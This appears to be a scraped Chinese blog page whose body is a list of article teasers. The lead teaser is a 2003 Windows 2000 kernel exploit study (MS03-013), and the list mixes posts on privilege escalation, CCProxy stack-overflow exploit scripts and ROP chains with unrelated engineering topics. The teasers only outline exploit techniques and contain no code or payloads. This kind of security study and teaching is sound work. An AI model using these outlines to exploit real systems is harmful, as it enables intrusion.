windows 2000 kernel exploit 的一点研究ey4s&lt;cooleyas@21cn.com&gt;2003-05-23以下是研究MS03-013所公布漏洞时的一点心得,其中可能有不少错误的地方,请大家多指教。本文涉及到的一些东西并没有详细解释,如KPEB、TEB等,大家可自行参考本文后面所提到的参考资源。写这篇文章的目的是权当笔记,一是请高手们指出错误,二来供以后翻阅。-...

爱.NET 191

手把手教你用certificate-manager修复Vcenter证书过期问题(附密码重置技巧)

本文详细解析了Vcenter证书过期引发的503服务不可用、密码错误等典型故障现象,并提供了使用certificate-manager工具进行系统性修复的完整步骤。文章重点阐述了证书体系原理、精准诊断方法,并分享了在SSO验证失败时通过vdcadmintool重置密码的关键技巧,帮助管理员快速恢复平台并建立预防性运维策略。

swift5iosmith的博客 461

Windows 提权-内核利用_1

本文通过 Google 翻译 Kernel Exploits Part 1 – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。 导航 0 前言 1 旧版 Windows 系统内核利用 2 搜寻内核漏洞 2.1

fenfenfen520a的博客 127

4×V100部署Qwen3.8-Flash-Next:vLLM/GGUF实战

大模型本地部署的核心,是把参数量、量化精度、显存容量和推理框架放在同一张账本里算清楚。MoE 模型总参数量大但激活参数少,解码阶段更受显存带宽与 KV Cache 限制;通过 INT4/AWQ 或 GGUF 等 4-bit 量化可显著压缩权重占用,再结合 vLLM 张量并行、llama.cpp 分层切分提升多卡利用率。其技术价值在于让 V100 这类老架构 GPU 也能承载百亿级参数模型的私有化推理,并服务于 RAG 知识库、工作流 API、批量生成等场景。这次围绕 4×V100 32G 部署 Qwen3.

weixin_29061425的博客 353

瑶芯技术分享 | 三相维也纳PFC功率器件损耗分析

电流的流通路径为:从A相电网正极流出,经过电感La,再经过二极管Da1流到直流侧电容C1,最终通过另外两相回到A相电网,具体流通路径如图2(a)所示。电流的流通路径为:从A相电网正极流出,经过电感La,再经过开关管Sa1和开关管Sa2的反向二极管流到直流侧中点N,最终通过另外两相回到A相电网,具体流通路径如图2(b)所示。通态损耗的产生是由电流正向流经IGBT 或者FRD上产生一定的压降,损耗就是正向电流和器件两端正向压降的乘积,开关损耗和反向恢复损耗则是跟开关过程中的直流电压和开关电流有关。

2301_76606324的博客 5749

Python实战栈缓冲区溢出:从原理到CCProxy漏洞利用脚本编写

栈缓冲区溢出是计算机安全领域一种经典的漏洞类型,其核心原理在于程序对用户输入数据缺乏边界检查,导致数据覆盖相邻内存区域,从而可能改写关键的函数返回地址(EIP)。理解其原理对于掌握软件安全、内存管理及漏洞防御至关重要。在工程实践中,通过编写漏洞利用脚本(Exploit),安全研究人员可以深入验证漏洞危害,并转化为提升系统防御能力的有效经验。典型的应用场景包括渗透测试、安全教学与漏洞复现分析。本文以CCProxy HTTP代理服务的历史溢出漏洞为具体案例,详细演示了使用Python进行偏移量计算、坏字符处理、

anqiu4023的博客 405

Robosuite与Robomimic:机器人学习的黄金搭档

本文深入探讨了Robosuite与Robomimic这对机器人学习的黄金组合,详细介绍了如何利用Robosuite进行物理仿真和任务环境构建,以及Robomimic在演示数据处理和离线学习算法实现中的应用。通过实际案例和代码示例,展示了从仿真环境搭建到模型训练的全流程,帮助研究人员高效开展机器人学习实验。

weixin_29178069的博客 416

如何深入分析Windows漏洞:5个经典漏洞利用技术解析

WindowsExploits项目是一个专注于Windows系统漏洞利用技术研究的宝贵资源库,其中收集了大量预编译的Windows漏洞利用程序和源代码。对于安全研究者和技术爱好者来说,这个项目提供了深入了解Windows系统安全机制、漏洞原理和利用技术的绝佳机会。本文将深入分析5个经典Windows漏洞的利用技术,通过"原理分析-实战演示-防御建议"三段式布局,帮助读者掌握漏洞分析的核心技能。

gitblog_00624的博客 310

基于Python的CT骨料图像分割与STL批量导出完整指南

本文介绍了一套完整的Python解决方案,用于CT骨料图像的分割与STL导出。针对CT图像中颗粒粘连、噪声伪影等技术难点,提出基于分水岭算法的分割策略,结合距离变换与标记控制实现颗粒分离。内容包括环境配置、数据读取与预处理、Otsu阈值分割、分水岭算法实现、表面提取与STL导出等关键步骤。教程提供详细代码及解释,帮助读者从CT体数据出发,最终生成每个颗粒的三维网格文件,便于后续定量分析和数值模拟。

huanghm88的专栏 240

【MODIS处理工具】MRT(MODIS Reprojection Tool) 下载及安装

【MODIS处理工具】MRT(MODIS Reprojection Tool) 下载及安装

WW、forever的博客 2409

CCProxy栈溢出漏洞实战:从原理到利用的完整指南

栈溢出是二进制安全领域的经典漏洞类型,其原理源于程序在栈上分配固定大小的缓冲区后,未对用户输入数据进行长度校验,导致超长数据覆盖相邻内存区域,从而可能篡改函数返回地址(EIP),劫持程序控制流。理解栈溢出对于掌握内存安全、漏洞利用及缓解技术至关重要。在Windows平台下,此类漏洞常与危险字符串函数(如strcpy)的误用相关,并涉及绕过DEP(数据执行保护)与ASLR(地址空间布局随机化)等现代安全机制的技术实践。通过分析具体案例,例如在CCProxy这类代理服务器软件中发现的典型栈溢出,安全研究人员可以

weixin_30666401的博客 384

ROS从入门到精通6-2:gmapping激光建图与自定义建图功能包

本文用Turtlebot3实例直观介绍激光建图概念,并实现自定义建图功能包(自动建图与键盘手动控制建图)

FRIGIDWINTER的博客 2662

windows 2008r2 内存溢出补丁_Windows内存破坏漏洞的现代探索:堆栈溢出(三)

在上一篇文章中,我们为读者详细介绍了SHE劫持技术,以及DED和ASLR防御机制,在本文中,我们将继续为读者讲解如何创建ROP链。创建ROP链第一步,我使用Ropper从msvbvm60.dll中提取所有可能有用的可执行代码片段(以RET、JMP或CALL指令结束)。实际上,我创建ROP链有三个主要意图:通过从msvbvm60.dll的IAT加载其地址来调用KERNEL32.DLL!Virtual...

weixin_30769455的博客 683

YOLOv11改进策略【Neck】| arXiv 2025 分层多头注意力HMHA 子空间拆分提多样 + 通道重排降冗余,强化目标检测精度

HMHA(Hierarchical Multi-Head Attention,分层多头注意力)旨在解决传统多头注意力(MHA)在图像恢复任务中的核心缺陷——特征冗余。传统MHA将通道均匀拆分给各个头,导致不同头学习的子空间信息相似,进而出现多头关注同一区域、忽略退化区域修复的问题,限制了模型的特征表达能力。HMHA通过“分层子空间拆分+通道重排序”策略,让每个头学习差异化、互补的上下文特征,从根源上缓解冗余,提升图像恢复任务中对复杂退化场景的特征捕捉能力。

Limiiiing的博客 779

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

从配置错误到内核漏洞:Linux本地提权核心思路与实战防御

在系统安全领域,权限管理是核心基础概念。其原理在于操作系统通过用户身份和访问控制列表来隔离资源,确保最小权限原则。这一机制的技术价值在于防止单一环节的漏洞导致整个系统沦陷,是构建纵深防御体系的基石。在应用场景上,无论是日常的服务器配置、服务部署,还是复杂的微服务架构,权限配置不当都可能成为攻击突破口。例如,在排查“DNS服务配置”或“WSUS更新失败”等运维问题时,若误操作文件权限,就可能为攻击者留下可乘之机。同样,在配置“Nacos服务治理”或“Claude MCP服务”等现代中间件时,复杂的配置环境更需

weixin_34037173的博客 426

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

上一篇: 【实战】Internet Explorer Object Type Property Overflow 的研究心得
下一篇: 【例子】windows 2000 wmi service buffer overflow expolit
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值